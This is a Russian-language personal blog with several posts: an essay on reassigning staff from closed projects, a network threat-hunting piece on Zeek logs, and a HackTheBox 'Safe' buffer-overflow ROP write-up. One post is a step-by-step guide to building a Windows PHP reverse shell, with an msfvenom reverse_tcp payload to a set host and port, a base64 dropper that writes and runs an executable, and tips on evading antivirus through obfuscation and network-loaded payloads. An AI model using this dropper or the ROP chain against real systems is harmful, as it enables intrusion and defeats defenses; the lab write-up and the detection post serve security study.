Friday, January 10, 2020

Ротация кадров и Поддержка перспективных проектов

Одним из критериев глупости является выполнение одних и тех же действий 
с одновременным ожиданием разных результатов


Соотношение прибыли и убытков (P&L) - важнейшая операционная метрика проекта. На ее основе можно приоритезировать проекты и соответственно планировать ресурсы: прибыльные (или перспективные, но о стратегии поговорим в другой раз) надо развивать, убыточные можно подмораживать или полностью закрывать, а высвободившиеся ресурсы перебрасывать на выявленные прибыльные (и\или перспективные) проекты. Люди - важнейший ресурс, они эмоциональны (и это - преимущество, ибо эмоциональный человек способен работать с большей отдачей), поэтому здесь надо быть крайне осторожным, об этом и поговорим.

Сплоченная команда - великое дело: недостаточно, чтобы в национальной сборной были все звезды, важно и их взаимодействие. Есть мнение, что в разработке ПО, как и в спорте, следует сохранять "сыгранные" команды (как правило, это объясняется предсказуемостью качества результата) и, как следствие, новые перспективные проекты отдавать на реализацию в уже сработанные команды, освободившиеся после закрытия проектов. Однако это - опрометчивое управленческое решение, основанное на ошибочных стереотипах.

Хорошие эффективные команды - это те, которые работают за идею, полностью отдаваясь делу, как и шедевры не создаются исключительно за деньги. Но P&L проекта показывает необходимость его закрытия, и ресурсы надо перебрасывать на другие направления... В любом случае команду надо расформировывать, объясню почему. Допустим команда закрытого проекта - истинные поросята scrum, действительно болеющие за свой проект, - в этом случае чем более они были преданы своему закрытому проекту, тем сильнее они демотивированы происходящим. Если такую команду сохранить в полном составе, в прошлой оргструктуре и с прошлым менеджментом, то результате общения между собой эта демотивированность будет только культивироваться: "... здесь, у них, все не так, вот у нас было как надо....". В результате, как минимум, от команды точно не будет прежней отдачи (причем ее не будет тем вероятнее, чем сильнее команда была предана прежнему проекту, так как люди эмоциональны, а ведь мы стремимся развивать преданность проекту, и только переживающие за свое дело работники нам нужны, поэтому и последствия будут весьма значительными!), а как максимум, - они полностью загубят проект своим безразличием и ностальгией по прежнему закрытому проекту. Демотивация по причине закрытия проекта не позволит получить результат предполагаемого на основе прежнего опыта качества, поэтому, упомянутая ранее, гипотеза о предсказуемости качества здесь не верна.
Другой крайний случай - проектная команда абсолютные бездельники (может даже, их проект поэтому и закрылся), но в этом случае передача им перспективного направления выглядит очевидной глупостью, а от подобных индивидуумов надо аккуратно избавляться, ибо даже на сборочном конвейере отношение сборщика отражается на изделии, тем более в случае продуктов сложного интеллектуального труда.  Поскольку оба полюса ситуации имеют одинаковый исход, те же последствия имеет и любой промежуточный вариант (ну, например, когда, члены команды не полные бездельники, и\или только "почти" безразличны в отношении нового проекта, или любая другая комбинация).

Теперь, думаю, очевидна необходимость перегруппировки высвободившихся ресурсов, в любом случае необходима ротация. Особенно это важно при наличии у перспективных проектов-потребителей ресурсов своих команд, также работающих с полной отдачей (а как иначе может быть, если их проекты - перспективные?!). Пришедшие туда демотивированные работники закрытых проектов не смогут среди них распространять накопившихся в них негатив, а напротив, заразятся увлеченностью и преданностью новым задачам. Обратная ситуация, когда сработанная команда закрытого проекта назначается в полном прежнем составе и существующими оргструктурой и менеджментом на перспективный проект, абсолютно точно ведет к потере прежней команды перспективного проекта, а сам проект попадает к демотивированным или работающим на отвали (или любой вариант между) исполнителям.

Таким образом, разбавив молодые перспективные команды "старой, застоявшейся, кровью" можно будет безболезненно решить все возникшие проблемы: а) новые проекты оснастить недостающими ресурсами, а следовательно, - реализовать в нужные сроки, б) сохранить саму команду, работающую над перспективным направлением, а, следовательно, обладающую уникальной экспертизой (ведь что-то позволило им стать перспективным направлением), в) демотивированных (или работающих "как-то не так", ибо что-то же стало причиной закрытия проекта) сотрудников закрытых проектов "перевоспитать" в новых командах, заразить своим, далеко небезразличным, отношением к новому проекту - растворить "старую, застоявшуюся кровь" в "свежей новой", что в случае неизменного сохранения структуры закрытого проекта невозможно в принципе, - ребятам всегда будет казаться их закрытый проект самым лучшим, а все новое будет им чуждо, да оно и не просочится туда сквозь сохранившийся слой менеджмента.

Сведем сухой остаток в нехитрую табличку.
-->
Реализация нового проекта командой закрытого проекта, при сохранении  менеджмента старого проекта Растворение команды закрытого проекта в существующей команде нового проекта, при сохранении менеджмента нового проекта
Плюсы
Сохранение команды закрытого проекта Сохранение команды перспективного проекта
Реализация проекта сработанной командой Реализация проекта компетентной командой (или экономия времени на передаче опыта)
  Мягкое снятие демотивации участников команды старого проекта в условиях новых задач, новых коллег, нового менеджмента, как следствие - высокая вероятность успешной реализации проекта (так как перспективная команда получает необходимые ресурсы)
Минусы
Высокая вероятность потери команды перспективного проекта вместе с уникальной экспертизой Небольшая вероятность потери команды закрытого проекта
Культивация демотивации по причине закрытия проекта, как следствие - высокая вероятность неуспешной реализации нового проекта  

Мы начали со спорта, спортом и закончим. Если "сыгранная" команда в итоге показывает плохие результаты, очевидное поведение тренера - переформатировать сборную, перегруппировать игроков, сформировать другие составы, способные показать отличные от прежних результаты, поскольку, действительно странно действовать по-старому и ожидать нового.



Saturday, January 4, 2020

Сделай сам: Windows PHP reverse shell

Бывают странные люди, запускающие стек Apache-MySQL-PHP на Windows (т.е. LAMP --> WAMP). В таких случаях стандартный реверсивный PHP shell не подойдет, а использовать этот страшно, так как во-первых, он, скорее всего, без изменений не будет работать - в вызове system надо указать полный путь, а, во-вторых, меня беспокоит что там автор закодировал в $payload... Поэтому, проще все сделать самостоятельно, особенно с учетом простоты реализации.

1. Сначала сделаем нагрузку:
msfvenom -p windows/shell/reverse_tcp LHOST=10.211.55.21 LPORT=9001 -f exe >s4.exe

2. Хорошенько ее сожмем (можно сжать и на лету в п.1, как удобнее):
gzip --best s4.exe

3. Создадим PHP скрипт следующего содержания (s3.php):
<?php

header('Content-type: text/plain');

$payload = "";

$evilCode = gzdecode(base64_decode($payload));
$cmd ="C:\\windows\\temp\\svs_shell.exe";

$file = fopen($cmd, 'wb');
fwrite($file, $evilCode);
fclose($file);

$output = system($cmd);
                                    
?>

3. Закодируем нашу нагрузку в BASE64 и результат подпишем в конец созданного скрипта:
base64 -w 0 s4.exe.gz >>s3.php

4. Отредактируем скрипт так, чтобы последняя строчка BASE64 оказалась в переменной $payload:
...
$payload = "<здесь наш длинный BASE64>";
...
В редакторе vi это сделать очень просто: D - скопирует в буфер и удалит длинную строчку нагрузки, P - вставит с нужного места.

Возможна масса усовершенствований:
1. нагрузку не тащить с собой, а загружать из сети
2. нагрузку разбавить мусором и собирать по частям - это поможет обойти антивирусы (в моем случае стоял Symantec - он не среагировал и без этого трюка, аналогичное поведение продемонстрировал Defender)
3. Сделать сложную комбинацию сжатий и кодирований в BASE64, включая применение архивов с паролями - это тоже может оказаться полезным в обходе всяческих систем безопасности
4 ...

Удачи!


Monday, November 4, 2019

NFT

Threat hunting is the use case for EDR
(Nate Fick, CEO Endgame.)

Более чем 3 года назад, в 2016, мы впервые заговорили о Threat hunting на русском языке, позже появились и другие публикации, сейчас об этом говорят уже все, а прошлые SOC-и называют поставщиками сервисов MDR. Уже ни для кого не новость MITRE ATT&CK и многие производители, пытающиеся систематически подходить к тому самому Threat hunting, (далее - "активный поиск угроз" или "хантинг") уже прошли тест, и многие еще пройдут.

Однако, несмотря на эпиграф к этой статье и достаточно хорошее покрытие задачи со стороны EPP-EDR, надо все же стремиться к более комплексной истории, и заниматься активным поиском угроз не только на эндпоинте, но и на сети, о чем и поговорим в этой заметке.

Почему активный поиск угроз на сети важен? На слайде 27 я приводил тактики, с указанием эффективности сенсоров. Нетрудно сообразить, что сетевой активный поиск угроз будет здорово работать на:
и абсолютно незаменим на:
Более того, с точки зрения результативности, разумным подходом является использование принципа "кругового детекта", когда одна угроза обкладывается множеством различных детектирующих логик, работающих по разным принципам, таким образом, выпустив множество детектов - по сэмплу, по поведению, по похожести, по сетевому трафику и т.п. - мы увеличиваем вероятность успешного обнаружения (или предотвращения, если это технически возможно). Поэтому наличие сетевых IoA, как технологически абсолютно иных в сравнение с хостовыми IoA, в значительной степени повысят совокупный detection rate.

Если совсем кратко, то реализованные ранее EDR-ные подходы могут быть полностью перенесены на сеть: нам также нужен инструмент, поставляющий телеметрию, которую мы могли бы предварительно обогащать доступным ThreatIntel-ом, и поверх которой мы смогли бы делать TTP-based детекты, именуемые нами внутри "хантами" или публично индикаторами атаки (IoA). Некоторые примеры EDR-ной телеметрии приведены на слайде 9, а на слайде 11 приведен укрупненный пайплайн ее обработки: обогащение, далее - TTP-based разметка "хантами"\IoA, далее можно еще покоррелировать и поразмечать, в завершении - валидация живым аналитиком (или машиннообучаемым Автоаналитиком, может, как-нибудь напишу об этом). Приведу здесь картинку из презентации, которую показывал на одном из мероприятий:


В качестве сенсора для сетевого активного поиска угроз прекрасно подходит Network Forensics Tools. NFT - старый термин, стары и инструменты, но, если упрощенно определить активный поиск угроз - это форенсика, реализованная как операционный процесс, сейчас, находясь на этапе, когда атаки нельзя не только предотвратить, но даже и обнаружить полностью автоматически, активный поиск угроз - все что нам остается. При этом, на сети работают все те же подходы: пытаемся предотвратить (NGFW, IPS), не получилось - хотя бы обнаружить (IDS), не получилось и обнаружить автоматически - должна быть телеметрия для ручного хантинга. И здесь как раз нам поможет NFT.

Приведу пример на Bro/Zeek. Телеметрией для активного поиска угроз служат его логи, которые полностью расширяемые как по полям (примером может служить hassh от ребят из Salesforce), так и по типам логов - ничего не мешает написать парсер под любой загадочный протокол, журналлируемый в отдельный лог. Логи Zeek являются прекрасным компромиссом между сбором всего трафика, и сбором только детектов NGFW/IDS/IPS, но, вместе с тем, достаточным для сетевого хантинга. В этом плане их допустимо сравнить с сырыми нотификациями EDR, например, от sysmon.

Сырые логи Zeek можно также собрать в ELK, например так (правда, я бы сделал проще: настроил бы логгирование Bro в JSON, и тогда filter в конфиге Logstash был бы тривиален:
if "brologs" in [tags] {
   json {
      source => "message"
      remove_field => "message"
   }
}
), а уже запросами в Kibana удобно хантить.

Поверх телеметрии Zeek можно уже класть "ханты", автоматизирующие запросы к Elastic-у, аналогично как это делается у нас для телеметрии EPP-EDR. Для понимания приведу примеры хантов на телеметрии Zeek:
  • прохождение неизвестного трафика через стандартный порт (техника - T1436)
  • использование подозрительных методов RPC (T1175)
  • подозрительный User-Agent - Mozilla/5.0 (Windows NT 10.0; Microsoft Windows 10.0.15063; en-US) PowerShell/6.0.0 (T1089)  
Или что-нибудь более продвинутое, может даже с машобучем :)

Будучи немного погруженным в инжениринг детектов EDR могу поделиться проблемой, что далеко не любую телеметрию можно достать по причинам стабильности и производительности, а полагаться полностью на ETW не кажется надежным. В случае NFT таких проблем нет, поскольку трафик собирается пассивно, и анализируется не на целевой системе, и, следовательно, не влияет на ее производительность (плата за это очевидна - меньшая visibility, но, вместе с тем, - NFT непереоценимое дополнение к EPP-EDR)

Думаю, что уже очевидна полная аналогия, но все же приведу табличку:


ПерспективаEPP-EDRNFT
Prevent - Detect - HuntEPP - EDR - активный поиск угроз по телеметрииNGFW/IPS - IDS - активный поиск угроз по телеметрии
Телеметриязапуск процессов, загрузка библиотек, детект EPP, событие ОС, создание файла, инжект, ... логи соединений, обнаруженное в сети ПО, пролетающие по сети файлы, логи протоколов прикладного уровня, ...
Ханты\Детекторы\IoAРелевантные телеметрии

Важно понимать, что ни EDR, ни NFT не являются "серебряной пулей" по отдельности, важна именно комбинация методов, реализованная в виде единого интегрированного решения, где ханты EDR и NFT коррелируются и взаимно обогащают друг друга, предоставляя аналитику SOC максимальные возможности по хантингу.

В заключении хочется дополнить слова мистера Фика, указанные в эпиграфе: "Threat hunting is the use case for combination of EDR and NFT", что надеюсь, мне удалось доказать в этой заметке на примере Zeek.


Некоторые, возможно полезные, ссылки





Tuesday, October 29, 2019

myapp @Safe-10.10.10.147@HTB BO DEP (ROP в локальный system@main)

Продолжая серию своих черновых заметок о бинарщине, расскажу о переполнении буфера в машинке Safe все на том же HTB. Интересно здесь может быть то, что необходимый "стандартный" гаджет "pop rdi; ret" здесь не находится, поэтому использовать pwntools полностью автоматизированно, как мы это сделали в Ellinson, не получится.



Запускаем приложение, оно показывает вывод команды uptime, затем спрашивает вопрос, и выводит пользовательский ввод.


Сгенерим 500 символов и пошлем в приложение, оно упадет в Segmentation fault, из чего следует, что приложение уязвимо к переполнению.

Запустим в дибаггере и посмотрим, что творится в памяти на момент падения. Для верности пошлем 2000 байт.

Замечаем, что на момент падения буфер записался в регистры rsp, rsi, r9 и r13. Это означает, что их содержимое мы можем контролировать при переполнении.
rdi - используется для передачи значений аргументов в функцию в х64 (а у нас именно такой случай) - пустой.

Определим какие места нашего буфера попали в какие регистры.
rsp: 120. По смещению 120 в нашем буфере мы попадаем в стек.

rsi: 1024

r9: 1072

r13: 336

Технически нам надо получить шелл, т.е. как-то прыгнуть на функцию system с аргументом “/bin/bash”.

Первое, что приходит в голову - реализовать переход на libc, где есть и system и строка “/bin/sh”, как мы это делали ранее. Но, во-первых, машинка простая (20 очков, вместо 40 за Ellingson), т.е. решение должно быть проще, а во-вторых, внутри приложения уже есть вызов system, которым надо бы воспользоваться…

Полезная статья по теме: 
 
Посмотрим, какие у нас есть функции, обратим внимание на наличие странной функции test по по смещению 0x401152:

Посмотрим main (по смещению 0x40115F), убедимся в наличии там вызова system. Командочка, которая нам в этом поможет objdump -D myapp.

Важно: Скриншоты из objdump -D будут в AT&T синтаксисе, где операнды команд следуют наоборот, чем в более привычном Intel, но, надеюсь, это не будет большим неудобством. 

Посмотрим на test (0x401152):

test - очень загадочная функция.
Особенно любопытен прыжок на исполнение r13 (по адресу 0x401159). Трудно себе представить исходный код, скомпилированный в такую инструкцию… Но запомним этот момент, - из него следует, что то, что нам нужно выполнить мы можем записать в r13 и подстроить так, чтобы исполнение программы попало на смещение 0x401159.

Но вернемся к нашем регистрам. При отправке 2000 байт, по смещению 120 мы попадаем в RSP, по смещению 336 - попадаем в R13, по смещению 1024 - попадаем в RSI, по смещению 1072 - попадаем в R9.
Наиболее интересно попадание в стек (в RSP). Попадая в стек мы его контролируем, т.е. можем туда записать то, что нам нужно и выполнить это. Аргументы для исполняемой функции в х64 берутся из регистра rdi, а чтобы положить содержимое стека в rdi нам надо найти гаджет типа “pop rdi; ret”, который положит текущее содержимое стека в rdi и вернется обратно.

Гаджета “pop rdi; ret” в исполняемой (у нас DEP) части кода не нашлось :(. Но зато нашелся полностью эквивалентный, “mov rdi, rsp” (по смещению  0x401156, как отмечено выше, в AT&T синтаксисе на скриншоте он выглядит как "mov %rsp, %rdi”) и через некоторое количество инструкций - “ret”, - в той самой загадочной функции “test” (см. картинку выше).

Получается, что если прыгнуть на 0x401156, то согласно коду test, выполнится, как минимум, следующее:
  • текущее содержимое стека (из регистра rsp) положится в регистр rdi (это хорошо, так как после переполнения мы контролируем стек и можем записать туда то, что нам нужно).
  • вызовется инструкция, располагающаяся в r13 ("jmp r13” по смещению 0x401159)
"jmp r13” - крайне странная инструкция, что создает впечатление подстроенности и усиливает веру в то, что мы на правильном пути. Т.е., если в r13 нам удастся положить адрес system из main, то system выполнится, а параметр для system будет взят из rdi, куда его надо заблаговременно записать из стека (инструкция "mov rdi, rsp", или аналог), который мы контролируем.

Таким образом, кусочек нашего пейлоада переполнения в стеке может выглядеть так: p64(0x401156) + '/bin/bash\x00’, где p64(0x401156) - вызовет инструкцию копирования текущего указателя стека в rdi, а ‘/bin/bash\x00’- куда будет показывать указатель стека (т.е. что фактически будет положено в rdi), после отработки 0x401156. С параметрами для system, вроде, разобрались, теперь надо подумать как вызвать system.

Если положить адрес system в r13, то инструкция “jmp r13”, расположенная по смещению 0x401159 (в test), его выполнит. 
Положить из стека в r13 можно инструкциями “pop r13; ret”, поищем такой гаджет. 
В нашем дизассемблере, полученном с помощью “objdump -D myapp”, можно найти вот такую последовательность: 

По смещению 0x401206 идет последовательность таких инструкций:
  • положить текущий стек в r13
  • положить текущий стек в r14
  • положить текущий стек в r15
  • выйти.
Т.е. практически то, что нам нужно - “pop r13; ret”, но с добавлением лишних pop r14 и pop r15, что не является проблемой, ибо мы полностью контролируем стек и можем положить туда нужное количество мусора для успешного его размещения в регистрах r14 и r15.

Таким образом, еще один кусочек нашего пейлоуда должен выглядеть так: p64(0x401206) + p64(0x40116e), где p64(0x401206) - положит содержимое стека в r13, а p64(0x40116e) - что будет лежать в стеке. 

Из картинки с кодом main выше видно, что по адресу 0x40116e располагается инструкция вызова system из main: 

Но надо еще дойти до ret, от которого нас отделяют инструкции “pop r14; pop r15”, расположенные по смещениями 0x401208 и 0x40120a, которые положат содержимое стека в регистры r14 и к15 соответственно . Нужно обеспечить наличие чего-то в стеке для этих инструкций. Это сделать несложно, так как в стек мы класть умеем.

Итак, собираем наш пейлоад: payload = junk + p64(0x401206) + p64(0x40116E) + '\x42’*8 + ‘\x43’*8 + p64(0x401156) + '/bin/bash\x00’, где junk = ‘\x41’*120
Поясним, что здесь происходит:
  • junk - в момент переполнения доведет нас до текущего указателя стека (регистр rsp). Вспомним, что на момент переполнения мы находимся на выходе из main (0x4011ac, см выше скриншот EDB). После выхода из main инструкция для исполнения будет взята из стека (из rsp).
  • p64(0x401206) подсовывает в текущее положение стека (в rsp) инструкцию по адресу 0x401206. Смотрим выше, 0x401206 - это "pop r13” - положить текущее содержимое стека в r13
  • следующее слагаемое нашего пейлоада, передаваемое в стек - p64(0x40116e). Выше указано, что по адресу 0x40116e располагается вызов system из main - это и есть то, что будет положено в r13 описанной выше инструкцией.
  • далее следует 2 мусора по 8 байт: “BBBB BBBB” и “CCCC CCCC”. Помним, что после выполнения кода по смещению 0x401206 ("pop r13”), будет выполняться код по смещению 0x401208 (“pop r14”), код по смещению 0x40120a (“pop r15”) и затем - по смещению 0x40120c - “ret”, см картинку с загадочной функцией test выше. В результате этой последовательности инструкций - “pop r14; pop r15; ret” - записанный нами мусор в стек - “BBBB BBBB” и “CCCC CCCC” будет положен в регистры r14 и r15 соответственно, и после этого будет реализован выход на адрес из стека.
  • далее в нашем стеке следует p64(0x401156) + ‘/bin/bash\x00’. Как отмечалось выше, по смещению 0x401156 располагается инструкция “mov rdi, rsp”, размещающая в RDI текущее содержимое стека, а строка ‘/bin/bash\x00’ - то самое, нужное нам, содержимое стека, которое будет положено в RDI.
  • посмотрим выше на код чудесной функции test. За только что описанной инструкцией по смещению 0x401156 (mov rdi, rsp) следует инструкция по смещению 0x401159 (jmp r13). В результате этого jmp исполнение кода перейдет на адрес в r13, а как мы ранее отмечали, на тот момент в r13 будет лежать вызов system из main, который возьмет аргумент из rdi, где лежит строка “/bin/bash”. 

В результате, мы получаем RCE в виде запуска /bin/bash с помощью system, взятого из main, без перехода на libc. В целом, вместо "/bin/bash" может быть любая другая команда. 

Для того, чтобы стало совсем понятно что происходит, отладим наш эксплоит в gdb с замечательным палгином gef.

Код нагрузки изменим на запуск /bin/id, чтобы не связываться с интерактивностью (как было бы в случае bash).
Пересылку нагрузки организуем через файл, подготовленный следующим образом: 

Посмотрим нашу нагрузку:

Запустим наше приложение в отладчике и поставим breakpoint на выход из main (смещение: 0x4011ac, скриншот с кодом main см. выше), пейлоад передадим на stdin.
 
Окно отладчика сразу после запуска, приложение остановилось на созданной breakpoint:

Из картинки видно, что мы находимся на выходе из main: “
ret”, rip = 0x4011ac, наша breakpoint. При выходе из main следующая инструкция берется из стека. 
Следующая инструкция, которая будет выполнена - pop r13, что видно из rsp = 0x401206, в результате ее исполнения содержимое стека будет положено в r13. r13 пока пустой, там содержится 0x1
Следующие 8 байт в стеке - инструкция по смещению 0x40116e - вызов system@plt из main (
call 0x401040 ).

Наберем nexti (следующая инструкция) и посмотрим, что произойдет дальше. 

Из картинки следует, что текущая выполняемая инструкция (смотрим регистр rip) - pop r13 - положить содержимое стека в r13.
Содержимое стека (см. регистр rsp) - смещение 0x40116e - это адрес инструкции вызова system из main (
call 0x401040 )

Вводим nexti, смотрим, что будет дальше. 

На картинке отчетливо видно, что в регистр r13 было положено смещение 0x40116e, по которому располагается вызов system из main (
call 0x401040 )
Текущая исполняемая инструкция - pop r14 - положит в r14 текущее содержимое стека.
Текущее содержимое стека (смотрим регистр rsp) - “BBBB BBBB” 

Набираем nexti, смотрим что будет дальше. 

В r14  теперь “BBBB BBBB
Следующая инструкция (см. регистр rip) - pop r15 - положит содержимое стека в регистр r15.
Текущее содержимое стека (регистр rsp) - “CCCC CCCC"

Набираем nexti, смотрим что происходит дальше. 

В регистр r15 записались символы “CCCC CCCC
Программа находится на инструкции ret по смещению 0x40120c, см. регистр rip. После выхода, адрес следующей инструкции будет взят из стека.
Стек (rsp) указывает на инструкцию mov rdi, rsp - положить содержимое стека в rdi - расположенную по смещению 0x401156 в функции test ( mov rdi, rsp)

Набираем nexti, смотрим, что происходит. 

Текущая исполняемая инструкция (см. регистр rip) расположена по смещению 0x401156 - mov rdi, rsp - положит в регистр rdi содержимое стека (регистр rsp)
Стек указывает на строку “/bin/id” - это то, что будет положено в rdi

Набираем nexti 

Наблюдаем полностью подготовленную нужную нам для запуcка system(“/bin/id”) ситуацию:
  • в rdi лежит строка “/bin/id”. Помним, что при запуске функции, аргумент будет браться из rdi.
  • следующая исполняемая инструкция расположена по смещению 0x401159 - jmp r13 - переход на исполнение инструкции по адресу в r13 (см. регистр rip)
  • В r13 лежит инструкция по смещению 0x40116e - вызов system из main (
    call 0x401040 ). При отработке этой инструкции будет выполнена функция system с аргументом из регистра rdi.

Набираем nexti . 

Текущая исполняемая инструкция (регистр rip) расположена по смещению 0x40116e - вызов system из main (
call 0x401040 )
Аргумент для system будет браться из rdi, в котором сейчас содержится строка “/bin/id

Набираем nexti и видим, что system(“/bin/id”) выполнилась. 


Код эксплоита и предложение прикладываю.

Хочется выразить огромнейшую благодарность моему доброму приятелю и коллеге Артему, который познакомил меня с прекрасным плагином gef и пояснил многие моменты, в которых я бы точно сам не разобрался.

Всем добра!



PS: Один мой приятель спросил для кого я все это пишу на русском языке. Я немного смутился и ничего разумного ответить не смог, так куча вопросов на которые я не смог быстро сообразить ответ заняли все мои мысли:
- какие претензии к русскому языку? Почему вообще все статьи надо писать на английском (хотя, вполне вероятно, будущие заметки я буду писать на нем)?
- почему я не могу писать заметки для себя? Но писать их более-менее прилично, чтобы в них мог еще кто-то разобраться, может быть, это тоже будет кому-то полезно. В частности, шпаргалку по certutil я писал для себя в бытность админа УЦ, но сейчас это - самая популярная статья в этом блоге, причем я ее с момента написания не обновлял, а, вероятно, имело бы смысл добавить релевантный функционал декода бинарей в Base64 и скачивания файлов.
- в чем проблема пользоваться автоматическим переводом от того же Google?
- мне тупо проще писать по-русски, так как это мой родной язык
- ....